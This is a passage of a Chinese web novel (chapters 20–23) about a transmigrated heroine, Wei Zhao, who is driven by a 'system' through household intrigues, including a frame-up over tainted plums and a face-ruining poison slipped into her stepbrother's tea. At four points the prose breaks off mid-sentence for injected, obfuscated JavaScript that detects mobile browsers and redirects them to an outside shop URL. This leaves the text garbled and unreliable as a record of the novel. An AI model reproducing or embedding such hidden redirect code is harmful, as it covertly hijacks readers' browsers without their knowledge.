这番说辞听起来似乎像那么回事,其实一点都经不起推敲。她声音越说越小,这会儿的心虚不用装,而是实打实的没底气。 因为她的头越来越低,身高腿长的人只能俯眼看她,她的脸看不见,唯有一双小巧的耳朵暴露在别人的视线中。 嫩生生的,隐约可见细小的绒毛,像是白玉耳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16870528|191066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 崔绩不期然想到上过药之后短暂睡去时所做的梦来,梦里他幼年养着的那只白猫还在,温顺乖巧地窝在他的怀里,他抚摸着它,满心的欢喜。 倏地,白猫不见了,取而代之的是眼前这个继妹,像只猫儿一样娇软地偎着他,用嫩白的脸蹭着他…… 他忽然觉得有些燥热,手指动了动,接着皱起眉来,“私放奴隶,依律是不允许的,轻则罚银,重则杖刑,但你那下人未换红契,并未记录在府衙,衙门无从追究,也就不能定你的罪。” “兄长,这些事我不懂,我一时意气行事,还当自己做了一件好事,只是事后越想越觉得不妥当。” “你此举确实不妥。” 崔绩走近一步,颀长身体投下的阴影伴随着深沉的压迫感,令人不寒而栗。 魏昭好像听到咽口水的声音,像是猛兽盯着猎物时发出来的动静,不由得全身紧绷。 有那么一瞬间,她以为自己所做的一切全都没能逃过面前之人的眼睛。 “兄长,我知道错了。” 崔绩冷着脸,掩饰着心里的那股子燥气,“你一时心软,却不知可能后果不堪设想。我若是你,事后定当不会说是自己将人放走的,尤其是进了衙门之后,只能一口咬定人是自己逃走的。” 这是在教她吗? 她睫毛颤着,半掀着眼皮,“我……我不会撒谎。” 话音一落,她似乎听到一声轻笑。 “四妹妹不用害怕,你我是兄妹,我自会帮你。” 虽不知这人到底知道多少,又为何会说这样的话,但从明面上来说,她觉得他应该还没有戳穿她的打算。 难道是因为昨晚的缘故? 这么说来私下攀交情应该有用,或许是她说的那些话戳中了什么,这人才会对她有所宽容。 “那一切就拜托兄长了。” 崔绩“嗯”了一声,没再继续这个话题,而是话锋一转,道:“今日十五,四妹妹也要回崔府,那就一起走。” 继兄妹也是兄妹,兄妹一起归家,是极其合理的事。 但不合情。 她想也没想地拒绝,不等他再多说什么,赶紧告辞,然后头也不回地走人。 斗南端着茶水点心过来,看着她匆匆离去的背影,颇有几分纳闷地道:“以前我瞧着四姑娘安安静静的,是个如水一样的女子。近几日倒是有些不同,像是水底下着了火,言行举止都与以往不一样。她跑什么啊,这么着急,难道是被吓着了?” 崔绩闻言,目光骤然幽深。 那清冷如静湖的眸底映着阳光,恰似忽然盛开绚丽的荼蘼花。 诡异而艳丽。 宽大的官服袖子里,碧绿的小圆蛇头钻出来。 他垂眸睥睨一眼,小蛇似打了个寒战,立马缩了回去。 20.第 20 章 * 魏昭出了府衙之后,这才长长松了一口气。 她没有耽搁,直奔崔府而去。 一到府里,门房给她传了两句话,一是魏绮罗的留言,说是自己和崔洵去敬远府吊唁。二是盛氏说的,让她回来后去听闲堂一趟。 盛氏鲜少找她,这些年来类似的事一只手都能数清。 她多问了门房几句,得知府里风平浪静的,并没有其他事。也就是说,昨天没有大夫上门,夏姨娘有孕的事还瞒着所有人。 “姑娘,老夫人找你,是不是因为昨日你就那么走了,夏姨娘和三姑娘告了你的状?” 不怪白鹤会这么想,她自己也是同样的猜测。 府里雅致如故,假山嶙峋亭角飞翘,树木修剪成型,草坪打理干净,不拘是曲廊小径,还是通幽的石子,皆彰显着主家的品位。 还未近听闲堂,便听到一阵欢声笑语。 她疑惑着,迈进门槛。 林氏杨氏母女都在,并未见崔明淑,崔砚也不在。 盛氏满面红光,一脸的喜气,招呼着上前,“昭丫头,你姨祖母和欣然表姐要进京小住些日子,你这些天就住在府里,多陪陪你欣然表姐。” 她恍然。 原来是这事。 盛氏有个胞妹远嫁濯州赵家,按辈分她当称一声姨祖母,而欣然表姐就是赵老夫人的嫡孙女赵狄,小字欣然。 长辈发了话,她自是乖巧应下。 盛氏十分开心,语气都带着真心的笑意,“老大家的,你把以前她们住过的院子收拾出来,算日子她们这几日就要到了。” 林氏同样满面欢喜,颇为感慨地道:“说起来十几年未见,欣然那孩子已是个大姑娘,听说是性子极好的,成日陪着姨母,最是孝顺懂事。” “欣然丫头可是你们姨母最贴心的人,你们姨母前些日子还来信说是腰不好,你记着将床褥和榻椅上的垫子都铺得厚实些。” 从盛氏的言语中不难听出,她很疼爱自己的妹妹。 林氏一一记下,表示自己定会安排妥当。 当年赵老夫人离京时,杨氏还未过门,这些话都插不上,却也还是有话可以说,她笑看着自己的女儿,道:“欣然那孩子定是个好的,我就怕到时候我家这皮猴子招人烦。” 盛氏笑出声来,搂着有些不太高兴的崔明意心肝宝贝地稀罕了好一会儿,才道:“我家云娘是个让人心疼的,你欣然表姐肯定会喜欢你。” “我们云娘这么招人疼,谁见了都会喜欢的。”林氏似是想到什么,也跟着笑,“我记得欣然那孩子小时候就爱跟着绩哥儿,绩哥儿走到哪,她就跟到哪。别看绩哥儿性子冷,对她倒是很有耐心。” 这话应是提醒了盛氏,她的表情变得有些微妙,“也不知时隔这么多年,他们再次相见,还会不会像小时候一样亲近?” 魏昭从她的话里咂摸出她想将大孙子和表孙女送作堆的味儿来,私心想着如果有人能让崔绩转移注意力,那对自己而言也是一件好事。 正思忖着,蓦地脑子里响起系统那冰冷的机械声。 【触发剧情任务:请宿主给男主下烂脸之药,限时三日。动机:想阻止男主和别人相看。】 “……” 这是什么鬼剧情! 魏昭气得想骂人。 什么叫她想阻止男主和别人相看,这破系统自说自话,问过她意见了吗? 她不想! 她一点也不想! 盛氏她们还在谈论着,那些欢喜的声音像是从很远的地方传来,隔着一道看不见的屏障“嗡嗡”作响。 这时一个婆子慌慌张张地跑来,嘴巴一张一合的。 “老夫人,不好了,夏姨娘动了胎气。” 胎气二字,震惊所有人。 魏昭也已回过神来,看着盛氏在林氏和崔明静的搀扶下匆忙离开。 杨氏走在后面,回头看了她一眼,道:“知之,你和云娘就别去了。” * 将出听闲堂的工夫,她的情绪已经平复。 不管怎么说,为了自己的小命,那该死的剧情她也得走。 她用盛氏留她的事作借口,说是若要多住些日子,还得回去取些东西,遂将白鹤叫到一旁,凑近低声交待一番。 白鹤惊讶且不解,却什么也没有问,直接转身出府。 没了大人的拘束,崔明意越显活泼,叽叽喳喳地嘴是一刻没停。 “四姐姐,我一直想向你道谢,谢谢你救了我。”她从发上将蓝宝石的簪子取下,拿在手里把玩着,“我让人给你打簪子时,也给自己打了一支,亏得四姐姐认出这支簪子,否则我怕是要被那些人给卖了,吃不饱穿不暖还要挨打,好可怜的!” 魏昭满腹心事,面上不显地应付着她,“五妹妹,没发生的事就别去想,多思只会让自己徒增烦恼。” 她重重点头,“四姐姐,你说的话,我都记下了。好四姐姐,你救了我,我一定会好好报答你的。” 说完,她慢慢地挨过来,仰着机灵的小脸看着魏昭,一副恨不得要贴在一起的架势。 那灵动的眼睛里冒着光,晶晶发亮,说出来的话都带着几分兴奋,“四姐姐,你怎么这么好看。” 魏昭再是有些不习惯,却还是忍不住莞尔。 “四姐姐,如今我娘管着灶下的事,你若有什么想吃的尽管同我说。你放心好了,我娘让人盯着厨房,万不会再出现大哥哥被人下毒那样的事。” 这么说府里内宅的权力格局已变,林氏居然将最有油水的厨房管事之权给让了出来。 但她却笑不出来。 这消息眼下对她而言,还真是屋漏偏逢连夜雨。 新官上任三把火,杨氏刚接管灶下那摊子事,定然是无比的小心谨慎,她还怎么在在厨房做手脚? 姐妹俩一路说着话,不知不觉到了她的住处。 微风徐来时,她闻到了一丝有别的气味。倏地目光一变,落在窗前那棵青梅树上。 这棵树从开花以结果她全程参与,毫不夸张地说,树上一共结了多少果子,又掉了多少果子她清清楚楚。 繁茂的枝叶间,乍眼看上去仍是硕果累累的模样,但她却能一眼看出少了好几个长势最好的大果。 而那缕异味,正是从那些还未成熟的果子间散发出来。 “四姐姐,我闻着这梅子的味嘴巴都酸得厉害。”崔明意跟着她,作出一副牙酸的模样。 她叮嘱崔明意不要摘果子,然后轻轻地将门推开,只看了一眼,立马合上。 最是气温舒适的时节,清爽宜人,她却无端觉得很冷。 透骨的冷。 倘若她不是书中的女配,不用走书中的剧情,她会毫不犹豫地离开这座所谓的清贵府邸,过着自己的小子。 而不是像现在这样被人算计,成为二房嫡庶之争的炮灰。 该死的系统,为何偏偏是她! 她面色如霜,幽幽地叹了一口气。 崔明意不明所以,疑惑地看着她。 “五妹妹,我能不能信你?”她一脸郑重。 或许是她的表情太过认真,让崔明意也跟着正神起来,举着手发誓说自己绝对信得过。 她点点头,小声耳语一番。 崔明意更是疑惑,还不待询问缘由便看到一高一矮两个婆子匆匆而来,皆是一脸的厉色。 一个不冷不淡地对她道:“四姑娘,老夫人有请。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“你少在这里装模作样!”崔明淑冲过来,指着她,“就是你!你肯定是不知从哪里得到我姨娘有孕的消息,你和我不对付,所以你为了报复我,处心积虑害我姨娘。” “三姐姐,我没有。”她瞬间红了眼眶,“我刚从外面回来,还不清楚发生什么事,你姨娘动了胎气与我何干?” “你还装?”崔明淑拿着一颗青梅果,咬牙切齿地道:“你说,你是不是故意给这些果子泡过红花水,就是想害死我弟弟!” “三姐姐,你可真是冤枉死我了,莫说我不会做这样的事,再说我怎么能料到你们会去我那里摘果子?” 一时所有人都沉默了,气氛很是怪异。 崔明淑反应过来,继续不依不饶,“这都是你的算计!我不知道你是怎么猜到的,事实就是你肯定一早知道我姨娘有孕,这些日子就贪一口酸的,所以你故意给这些果子泡了红花水,险些害我姨娘落胎。” “三姐姐,你这样的诬蔑,我不能认。” “你还嘴硬!”崔明淑冷笑一声,对盛氏道:“祖母,让人去她屋子里搜,她那里肯定还有没用完的红花。” 盛氏没说话,明显在犹豫和权衡。 杨氏出声道:“母亲,这事古怪得很,知之才回来,我怎么瞧着她压根就不知情。” 这时崔明静站了出来,对她们道:“祖母,三婶,我有一言,不知当讲不当讲?” 她是嫡长孙女,又自来行事有度,这个当口说有话讲,盛氏没有不允的道理。 在盛氏的示意下,她再次开口,“今日之事险些出了人命,理应报官查清,但家丑不可外扬。好在大哥就是安元府的少尹,何不派人去请他回家,私下将此事断个明明白白,不知祖母和三婶意下如何?” 大孙子的为人和能力,盛氏当然信得过,遂道:“这倒是个上上之策。” 杨氏也没有反对的道理。 崔明静便问夏姨娘和崔明淑,“三妹妹,夏姨娘,你们可同意?” 夏姨娘和崔明淑齐齐点头。 “四妹妹,你呢?”崔明静转头问魏昭。 魏昭看着她,眼底一片平静,“我听二姐姐的。” 21.第 21 章 * 崔绩来的很快,已换上胜雪的常服。 他未进夏姨娘的屋子,而是让所有人都出来,一一询问过后,了解事情的始末与来龙去脉。 末了,他清冷的眼神落在一直没说话的魏昭身上。 “依照律法,若要进屋搜查,必是要有衙门盖印的搜查令。于私而言,那也得有确凿的证据。虽说果子泡过红花水不假,却也不能证明就是四妹妹所为,不宜贸然搜证。 但我们是一家人,行事不必讲究太多,眼下这般情形,只有搜查才能尽快查清真相,不过还得征得四妹妹的同意。四妹妹,你以为如何?” 魏昭慢慢抬起头来,迎视着他的目光。 如水的眸微红,盈盈地泛着潋滟,似是受到天大的委屈,可若仔细瞧去,却不难发现那眼底的冷。 是凝着冰的冷静。 “兄长所言,定有道理,我相信兄长定能查个清楚明白,还我一个公道。” “公道得用事实说话。”他压了压眉眼,清冷骤变晦暗。 她听懂他话里的意思。 所有人都以为她是在乞求公平,却不知她等的就是他这句话。 “方才张大夫说这些果子都泡过红花水,若能验出树上哪些果子泡过,以离地最高的距离来算,或许能测量出行事之人的身高。” 她这话一出,不期然看到他眼中的晦暗淡了些,似深渊之上的浓雾散开。 所有人都看着她,有惊讶,也有探究。 “如果那人是存了害人的心思,又想嫁祸给我,我屋子里必能搜出红花来。我从昨日离开后一直未归,想来地板上应是落了灰,兄长手下必定有精通勘验之术的人,应该能采集到那人的鞋印。” 众人再惊,便是盛氏看她的目光都带着几分震色。 她能摆出这些事来,明眼人都知道若真是如此,一来从旁佐证事情不是她做的,二来应该很快能找到真正害人的人。 崔明淑大急,“你说你没有进过屋,谁能替你作证?你说地上会有鞋印,指不定是你伪造的?” “我一进府就被祖母叫去,后一直与五妹妹在一起,五妹妹可替我作证。” “你可以让你的丫环……对了,你身边的白鹤呢,怎么不见人?” “祖母先前说让我在府里多住些日子,我想着还有些东西没带来,就让她回去取了,此事五妹妹也可为我作证,白鹤何时进府何时出府,门房那里一问便知。” 魏昭这话一说完,便感觉崔绩看她的眼神隐有变化。 很是微妙,似赞赏,也似满意。 崔明淑心有不甘,赌着气道:“你向来心思深,肯定是早有准备……” “三姐姐,事情还未查清,你为何一口咬定是我做的?哪怕我有法子证明自己的清白,你还是不信,倒像是不管是不是我做的,你都要将这污水泼到我身上似的,难不成你意不在找到真正害夏姨娘的人,只想着针对我?” “你……”崔明淑语噎,一时说不出话来。 “是非黑白,查过才知。”崔绩这话,将此事做了定论。 他又对盛氏说:“我会亲自勘验,还请祖母移步做个见证。” 盛氏没有驳大孙子面子的道理,她一走,众人都跟着,除了躺着不宜走动的夏姨娘。 一大群人浩浩荡荡来到魏昭的住处,一进院子就看到守在屋子外面的崔明意。 崔明意是个精怪人,一看这架势越发站得笔直。 崔绩让众人站在离青梅树三步开外的地方,再询问她一些相关事宜,她口齿清楚地回答着,证明魏昭所言不假。 魏昭对她报以感激一笑,她小大人般地昂着头,以示自己不负所托。 她任务完成,听从崔绩的话归到杨氏身边,母女俩相似一眼,交换着只有彼此才懂的眼神。 张大夫遵照着崔绩的吩咐,认真地验着树上的每一颗果子,逐一做好标记,再用尺子丈量最高处的果子与地面的距离。 魏昭自动走过去,举着手臂去够那果子,却差了两手。 “若是垫个石头或是凳子……” 这话她是故意说的,但同时也问出其他人的心声,所有人都在等一个答案。 斗南开口道:“诸位请看,草和地都有踩过的痕迹,却无重压之相。若此处有人用东西垫过脚,不可能是这般。” 崔绩已拓完屋内的鞋印,并在茶几旁的储物柜中找到一包红花。 “鞋长七寸半,足窄而步幅较小,从鞋印的着力来看,更像是女子。” 如崔家这样的门第,所有的下人四季都会分发新衣新鞋,一应尺码都记录在册,一查便知。而内宅女眷鞋码长七寸半者,少之又少。 林氏皱着眉,“这般身高脚长之人,除了夏姨娘院子里有一个,似是没有别人。” 她说的这个人,正是给夏姨娘来摘果子的一个粗使婆子。 人被带到之后,面对确凿的证据,以及崔绩的讯问,几乎没费什么工夫就彻底交待。 据这婆子所说,她之所以这么做,是因为对夏姨娘平日里苛待下人,动辄打骂罚扣月例,她因着比常人高壮些能扛打,没少被夏姨娘用来出气。 她想报复夏姨娘,又想撇清自己,才想了这么一个嫁祸于人的法子。 “我姨娘向来待人亲和,从未打骂过下人,你这个奴才胡说八道什么?你说,是谁指使的你,让你害我弟弟,还诬蔑我姨娘!”崔明淑气极,作势要扇她的脸。 “够了,你看你成何体统!”盛氏面有不虞,语气也颇重,听在崔明淑的耳朵里如同一记响鼓。 “祖母,我姨娘往常待这些人不薄,谁能想到竟然会有如此歹毒之人。她遭了这样的罪,还被人诬蔑,孙女实在是气不过……” “祸起萧墙,你们应当引以为戒。”盛氏看着那婆子,然后越过林氏,直接对杨氏道:“此人交给你,你按照家规处置吧。” 林氏的脸色瞬间一变,尔后很快恢复如常。 一场大戏落幕,谁是戏中人,谁是看戏人,只有自己知道。 魏昭先是向崔绩和崔明意道谢,然后对崔明淑道:“三姐姐,事情已经查清,你是不是应该道歉?” “一场误会而已,你竟如此不依不饶,还想让我给你道歉……” “我并非是要让你给我道歉。”魏昭的声音不大,却字字清楚,她挺直自己的背,微抬着下巴,庄重地道:“崔家清名传世,家风雅正,当兄友弟恭,姐妹和睦,而不应像三姐姐这般,仅凭臆测就揣度自己的姐妹。三姐姐这般行事,伤的不止是我的心,还有损崔家的风骨,难道不应该道个歉吗?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16878082|191066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她从来都不是什么心胸宽广之人,没道理被人冤枉之后还装大度地息事宁人,何况她拿崔家的家风说事,谁也挑不出她的错来。 便是盛氏,也在摇摆,心里的天秤微微地偏向她这个继孙女,眯眼睨着自己的亲孙女。 崔明淑胀红着脸,根本找不到台阶下。 气氛尴尬之时,响起崔绩冰玉相击的声音,“崔家家风不可损,三妹妹应该道歉。” 他这一开口,盛氏立马不摇摆了,“惠娘,你先给昭丫头赔个不是,再去祠堂给祖宗们请罪。” 一锤定音,崔明淑再也无法挣扎,无比难堪地给魏昭道了歉。 魏昭的脸上不见半点得意,反而十分难过,朝盛氏福了福身后,黯然神伤地道:“祖母,我无意与三姐姐作对,只是太过看重崔家。我虽不姓崔,却想着日后不管自己在哪里,若有人问起,我都会以自己曾是崔家人而感到荣耀。” 盛氏方才还有些许的不舒服,见她如此做派,还有这样一番话,顿时感到十分的熨帖,觉得她懂事。 “你是个好孩子,这事委屈你了,祖母定会补偿你的。” “祖母,孙女觉得这树不太吉利,树上还有泡了红花水的果子,不如让人砍了,重新再种一棵别的树的。”崔明静提议道。 盛氏很赞同,“那就砍了吧。” 魏昭不愿意。 红花是好东西,只是孕妇忌讳而已,她并不介意。但盛氏发了话,她若反对便是忤逆,尤其是这样的时刻,更不宜节外生枝。 她低下头去,表明自己没有意见。 这时她听到崔绩说:“这树也有些年头了,年年岁岁的结果,砍了岂不可惜。再者这泡了红花的果子,姑娘家若是吃了只有好处没有坏处,不如就给四妹妹留着。” 他竟然帮自己说话? 她有所猜测,却也念这个人情。 众人离去,他走在最后面,看着身形飘逸步伐从容,但与往常有着细微的不同,瞧着似是有一点僵硬。 他受伤了吗? 她心思忽而一动,追了上去。 他听到动静,优雅地回头。 她到了跟前,半掀着眼皮,“兄长,谢谢你帮我留下这棵青梅树,我已习惯它在窗前四季变化,若是砍了还真有些不舍。” “猫和树都是不会说话的生灵,不应该承载世人的迁怒。” 所以她猜得没错,他应该是对她有些恻隐之心。 这是好事! 她决定再攀关系,语气中带着几分担心,“兄长,你是不是身体有什么不适?” “受了一点小伤。旁人都未留意,没想到四妹妹却看出来了,你果真是心细。” 这话听着怎么有点怪。 “那兄长记得好好养一养,身子才是最重要的。近日府里人心魑魅,兄长应该多留意些,举凡是入口之物,当慎之又慎。” 他眸色静而暗,如风雨欲来的墨沉天际。“多谢四妹妹提醒,我记下了。” 她心下一松。 反正她这个恶毒女配只管走剧情,剧情走完就算完成任务,但愿她的话他听进去了,不要中招。 言尽于此,已不能再多。 她却是没有看到他转过身去时,那浓墨般静止的眼底,涌现出奇异的光亮。 22.第 22 章 * 青梅树的树叶随风摇曳着,生机勃勃。 它不知人心险恶,更不知道自己曾经历了一场生死劫。 魏绮罗匆匆赶回,因走得急而气喘吁吁,一进门就拉着魏昭的手,上上下下左左右右看了好几遍,才拍着自己的心口缓着气。 半晌,等气息渐匀后,怒道:“二房那些人当真是欺人太甚,她们争来争去的,为何总想把你扯进去?幸好你机灵,没着她们的道。你明天一早就走,眼不见心不烦,省得她们再恶心人。” “娘,您别这么大的火,我这不是没事嘛。” “若是有事,那就迟了!”魏绮罗娇美的脸一变,如同换了个人似的,面相从婉弱转为尖锐,“要是换成过去的我,我非撕了那起子黑心烂肝的嘴不可!” 她长得貌美,自长嫂去世后要撑起魏家的里里外外,还要养育侄女,当然不可能是什么软弱之人。 甚至可以说,当年苦水巷里的很多人都知道,魏家姑娘美则美矣,就是性子太泼,不是宜家安室的性子。 也就是这些年在崔府给人做替身,想借崔家的光罩着魏家,不得不收起自己原本的样子,成日里卖娇卖弱的装模作样。 魏昭挺心疼她的,一把将她抱住,“娘,您如果不想再忍,等过些日子我安排好了,您就跟我走吧。” 她拍着魏昭的背,一脸的受用和欣慰,好半天后将人放开,一点女儿光洁的额头,“这世上的好处,哪有不付出代价的,何况我这代价也不大,崔家好吃好喝的供着我,我只要装装样子,便能高枕无忧。 叹了一口气后,又语重心长地道:“知之,这世道虽然还算安稳,却也是强权凌弱。有崔家这座靠山在,你才能安安稳稳顶起魏家的门户。你不用担心我,我并不觉得委屈,你想做什么就去做,哪怕等会吃完饭就走,我也会帮你圆话。” 有母如此,再有何求? 魏昭感动之余,心中满是无力感。 如今她被系统绑定,没有走完剧情之前,还得和崔家人周旋。 她说起赵家祖孙要来的事,也说了自己答应盛氏要多住些日子的决定,还顺口提了一嘴白鹤没跟着的缘由。 魏绮罗听完,好看的眉皱起。 半晌,才道:“兵来将挡,水来土掩,你还有我呢,不怕。” 母女二人这才坐下说话,说的自然是府里的事,包括二房那些人,以及即将到来的赵家祖孙俩。 魏绮罗和她的想法一样,也觉得盛氏有撮合自己大孙子和表孙女的心思。 天色渐灰时,估摸着时辰差不多,她们起身去赴一月两次的团圆饭。 将出门时,正好撞上赶回来的白鹤。 主仆俩近身之时,白鹤偷偷地往她手上塞了一样东西,她不动声色地收好。 * 烛火氤氲出橘色的暖黄,一室的温馨。 他们这被拼凑在一起的一家四口,处处都流露着古怪,夫妻疏淡,继母子客气,继父女生分,连亲父子看上去也不太熟的样子。 崔洵居主位,右下是崔绩,左下是魏绮罗和魏昭母女。 魏昭与崔绩斜对面,略略一抬头,一张清冷如玉的脸便映入眼帘。一想到这张脸有可能红一块紫一块溃烂流脓,她就觉得自己在造孽。 该死的系统,到底是在虐她还是虐男主? 她的惊叹、惋惜、懊恼、还有无奈全都落在崔绩的眼里,这种分明绝非男女之情,包含太多复杂的专注目光,没由来的让人多想。 他目不斜视,心尖却在发烫。 四人落座之后,好半天没人说话。 魏绮罗娇愁满脸,与先前厉声说要撕烂别人嘴的姿态判若两人,她用帕子按着眼角,一副泫然欲泣的模样,对着崔绩道谢。 “今日多亏了大公子主持公道,否则我家知之就要被人冤枉死了。” “公道自在人心。”崔绩说话客气,透着明显的生分,“也亏得四妹妹这两日没住在府里,那屋子里灰土又比旁的地方大些,才让那害人之人留了痕迹。” 暗人说暗话,哪是什么灰土大些,分明是魏昭有意洒了一些。 她自来谨慎,防小人不防君子。 “都是侥幸,我现在想来都心有余悸。” “我可怜的知之。”魏绮罗继续抹着泪,“这次是侥幸,也不知下一次能不能躲得掉。若那些人还不死心,我和知之只好离开这里,再不碍他们的眼。” 崔洵刻板的脸越显严肃,或许是常年不苟言笑的缘故,瞧着虽然儒雅清俊,但法令纹却比旁人深些。 “我已教训过二弟,让他管好自己的后院,你们放心,此等事情再不会有第二次。” 魏绮罗闻言,这才放下帕子,与魏昭目光对上时娇弱地眨了一下眼睛。 一切尽在不言中。 自从她们入府以来,每逢初一十五的团圆餐,餐桌上必少不了一道五红汤。 这道菜是永嘉郡主生前顿顿不离的东西,而今也是他们逢聚必喝的汤,四人都喝了一两口,仿佛是完成某种仪式。 他们同往常一样,食不言。 一顿饭吃下来,全是流程。 按照崔洵的流程,每次聚餐吃完饭后,是他和崔绩的独处时光。 父子俩去到他的书房,屏退下人后,一起给设在书房内的永嘉郡主牌位上香。 崔绩看着与自己房间 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|16880998|191066||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 里一模一样的画像,神情莫辨,“父亲,近日儿子常常忧思,思及自己从小未能承欢父亲膝下,委实是不孝。” “孝白,不管你在哪里,你都是我儿子,你万事都好,你母亲在九泉之下也能安心。”崔洵望着永嘉郡主画像的目光,怀念而深情。 “那父亲可有想过魏夫人?” 崔洵愣了一下,转头看他,“我与她一早就说好了的,我有儿子,她有女儿,我们这辈子不需要有别的孩子。” 他垂了垂眼皮,“四妹妹非她亲生,她并没有自己的亲生骨肉。方才您也听到了,她很看重四妹妹,四妹妹注定要出府立户,您就不怕她到时候直接跟去,留您一人在府里?” “我……”崔洵皱了皱眉,向来古板的神情间隐有一丝难以察觉的不安,却犹不自知,“她若真要走,我也不能强留,为父有你就够了。” “那父亲岂不是要孤苦一人?” 一阵冗长的安静,崔洵再望那画像,久久不语。 画像中的女子还是年轻时的模样,未再与他们一起经历世间的春夏秋冬。 他默然之时,崔绩的声音又起,“有些人,父亲也该放下了。” “孝白……” 崔绩看着他,目光不再是人前的清冷,而是满眼的温情,“我希望父亲能尽享人世间该有的欢乐,夫妻一体之欢,儿女绕膝之乐。” 这是他从未听过的话,心间似有所触动,却说不出来。 好半天,喃喃着,“孝白,为父今生有子如你,已经心满意足了。” * 人月两团圆的日子,月光都显得分外的懂事,明亮而皎洁。 斗南将门推开时,留着心往地板上看去,紧接着压声道:“公子,你可真神了,竟然真有人来过。咱们借用了四姑娘的法子,没想到今夜就派上了用场。” 地板上洒了薄薄一层颜色相似的细粉,若不仔细看根本注意不到,足可见心思之慎密,一法还比一法高,青出于蓝胜于蓝。 细粉之上,借着月光可见窄小的鞋印。 “公子,我这就将这鞋印拓下来。” “不用。”崔绩说着,抬脚进屋时,刚好踩在那些鞋印上,足长不少的鞋印将之全部覆盖,你中有我,我中有你,再难分出彼此。“你等会清理干净便是。” 斗南不解,挠了挠头。 崔绩冷目一环视后,走到桌前给自己倒了一杯茶,茶杯举到嘴边,却并没有直接喝,而是盯着茶汤细看。 “公子,可是这茶……” “去把窗户关了。”他压着眉眼,阴影之下是旁人无法窥见的神情。 斗南心头一凛,快步过去将窗扇合上。 23.第 23 章 * 月光的侵入,被拦在菱形错格之外。 屋内没有熏香,只有书墨散发出来的原本气味。精简到不能再精简的摆设,除去雕花与基本的表漆,无任何描金绘彩。 一应茶具,也皆是素雅的白瓷。 崔绩已将手中的茶放下,修长如玉的手指一下下地轻叩着紫檀木的桌面,不知在想什么。 堪比月色出尘的脸上,静幽幽的无波无澜,完美的五官在灯火中蒙上一层温暖的颜色,凭添几分温润。 半南暗自惊叹着这得天独厚的好相貌,私心想着这几年京里的好些贵女没少明里暗里的打听接近他,顾盼着得到他的青眼和垂怜,到底是哪个不长眼的,竟然无视这一切,频频给他下药。 “公子,这茶里可是又被人下了不干净的东西?”。 他“嗯”了一声,抬眸时寒玉般的脸上不见一丝恼怒,那幽湖似的眼底,竟然隐有一丝笑意。 斗南见之,很是疑惑,“公子,你不生气?” “所想如期而至,我高兴都来不及,怎会生气?” 他这话让斗南越发不解,不让拓鞋印也就算了,怎么被人下药还这么高兴?这么说来自家公子已知那人是谁。 “公子,可要我去将那人抓来审问。” “不要打草惊蛇。” 他话音才一落,绿色的小蛇从桌子底下钻出来,昂着椭圆形的脑袋,仿佛在等待着他的吩咐。 斗南没好气地看它,“不是说你。” 它像是听懂了似的,身子一缩,将自己盘成个小圆饼。 “当真不管那人吗?”斗南又问。 见他没说话,便知答案,心里很是好奇那下药之人到底是谁,当下皱着眉将那杯茶端起,凑到自己的鼻子下仔细闻了又闻,什么也没闻出来。 “公子,这次那人在茶里下的是什么药?” “也不是要人命的东西,虽说有毒性,却能挥发于表,等到脸上的青紫疙瘩化脓结痂后,毒也就解了。” 他愕然。 “这……这不就是那让人烂脸的药,还有个好听的名字,叫什么姹紫嫣红,名字好听,闻着还有一股子花香味,脸越烂花香味越浓。我记得去年敬远伯府好几个妾室都中了这样的毒,闹到了沈少卿那里,沈少卿还把公子你请了过去。” “正是这个东西。”他语气寻常,似乎还有几分愉悦。 “先是内流金,这次又是姹紫嫣红,幸好公子你天生嗅觉敏锐,又未雨绸缪地熟知暗市所有流通的害人之物,否则哪能躲得掉,那个人到底想干什么?” 他闻言,睨向那紧闭的窗户。 半晌,低语,“我也想知道,她为何要这么做?” 一窗之隔,隔绝所有。 远处正对着窗户的假山上,魏昭一动不动地趴了许久,举着千里镜的手也早就麻木。 之前还没关窗时,崔绩倒茶欲喝的那会儿,系统冰冷的声音已经提醒她任务完成。而她之所以一直没走,是想知道那茶对方到底有没有喝。 时辰一点点过去,月亮在云层在不断地穿梭着。 那扇窗再也没有打开过,她最终作罢。 一路潜行回到住处,将一物交给白鹤。 “这东西不能留在府里,以防出事之后他们再找那条狗来搜证,你先用油纸包着浸在水里,明日一早送出去。” 白鹤将东西接过,看着上面的姹紫嫣红四个字,几次欲言又止。 主仆多年,她们之间向来是没什么藏着掖的事。 这是唯一的一次。 